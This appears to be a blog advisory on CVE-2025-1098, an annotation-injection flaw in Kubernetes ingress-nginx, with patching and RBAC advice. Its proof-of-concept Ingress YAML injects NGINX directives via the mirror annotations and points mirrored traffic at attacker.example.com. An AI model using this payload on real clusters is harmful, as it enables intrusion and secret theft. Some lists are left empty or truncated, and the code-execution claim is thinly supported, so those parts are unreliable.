Kubernetes users often depend on the popular ingress-nginx controller to expose HTTP and HTTPS routes from outside the cluster to services within. While ingress-nginx is battle-tested and widely trusted, a critical vulnerability—CVE-2025-1098—was recently found that could let attackers inject custom configuration into NGINX, execute code, and steal secrets even across the entire cluster.

In this deep-dive, we’ll explain in simple terms what went wrong, how you could exploit it, and what you should do to protect your cluster and secrets.

What is CVE-2025-1098?

CVE-2025-1098 is a flaw in ingress-nginx, specifically in the way it handles certain Ingress annotations. The mirror-target and mirror-host annotations allow you to configure NGINX mirror modules for traffic testing or debugging. But due to improper sanitization, these annotations could be abused to inject arbitrary configuration into NGINX.

Since the ingress-nginx controller runs with broad permissions (it can access all secrets by default!), this opens the door to leaking sensitive secrets or remote code execution—without even needing cluster admin access.

Exploit: How Annotation Injection Works

Let’s see how an attacker could weaponize this flaw.

1. The attacker creates an Ingress resource, adding a malicious annotation to inject their own NGINX configuration.
2. The controller, trusting annotation data, includes the attacker’s input in the generated NGINX config.
3. The injected snippet executes in the context of the ingress-nginx controller. From there, the attacker can do things like:

Example Malicious Ingress

Below is a proof-of-concept (PoC) Ingress YAML that exploits this vulnerability. The malicious annotation value escapes into raw NGINX configuration, enabling code execution:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: exploit-mirror
  annotations:
    nginx.ingress.kubernetes.io/mirror-target: "http://dummy\";; #"
    nginx.ingress.kubernetes.io/mirror-host: "attacker.example.com; include /etc/nginx/nginx.conf; #"
spec:
  rules:
  - host: vulnerable.example.com
    http:
      paths:
        - path: /
          pathType: Prefix
          backend:
            service:
              name: my-backend
              port:
                number: 80

What’s happening here?

- The annotation mirror-host injects attacker.example.com; include /etc/nginx/nginx.conf; # into the NGINX config. That extra semicolon and include lets attackers execute NGINX directives of their choice.

If any secret data is referenced in custom config snippets, an attacker could potentially dump it.

There are more advanced payloads—for example, injecting directives like lua_code_cache off; or using third-party modules to execute system commands, *depending on how NGINX is compiled and running*.

Real-World Danger: Leaking Secrets

By default, the ingress-nginx controller can access all Kubernetes Secrets cluster-wide. If an attacker manages to inject a config snippet through one of these annotations, they could:

Potentially exploit side effects in the NGINX process to leak in-memory secrets

In the worst case, this could lead to full cluster compromise!

References

- Original GitHub Advisory and Fix *(Replace with correct link when advisory is released)*
- Kubernetes Ingress-NGINX Annotations
- NGINX Mirror Module Docs
- NVD Entry for CVE-2025-1098

How to Fix and Protect Your Cluster

Ingress-NGINX upstream has released a patch. If you use ingress-nginx, *update to the latest version immediately*.

Other best practices

- Restrict use of custom annotations: Limit who can create Ingress resources, especially in multi-tenant clusters.

Limit secret access: Use RBAC to scope down what the ingress-nginx controller can read.

- Disable untrusted config snippets: If possible, turn off the ability to add arbitrary snippets via annotations.

To upgrade on a typical Kubernetes cluster managed by Helm

helm repo update
helm upgrade ingress-nginx ingress-nginx/ingress-nginx --namespace ingress-nginx

Update the version in your values file or specify with --version.

Conclusion

CVE-2025-1098 highlights that Kubernetes security is only as strong as its building blocks. Letting user-supplied values flow unchecked into infrastructure-level configuration can be catastrophic, especially when powerful permissions are involved.

If you manage clusters with ingress-nginx, patch now and review who can deploy Ingress resources in your environment. Watch for upstream advisories and lock down annotation usage to prevent similar bugs from biting you in the future.

Stay safe—and spread the word to your dev teams!

*Have questions? Need help with your Kubernetes security? Comment below or follow Ingress-NGINX issues!*

Timeline

Published on: 03/25/2025 00:15:14 UTC
Last modified on: 03/27/2025 16:45:46 UTC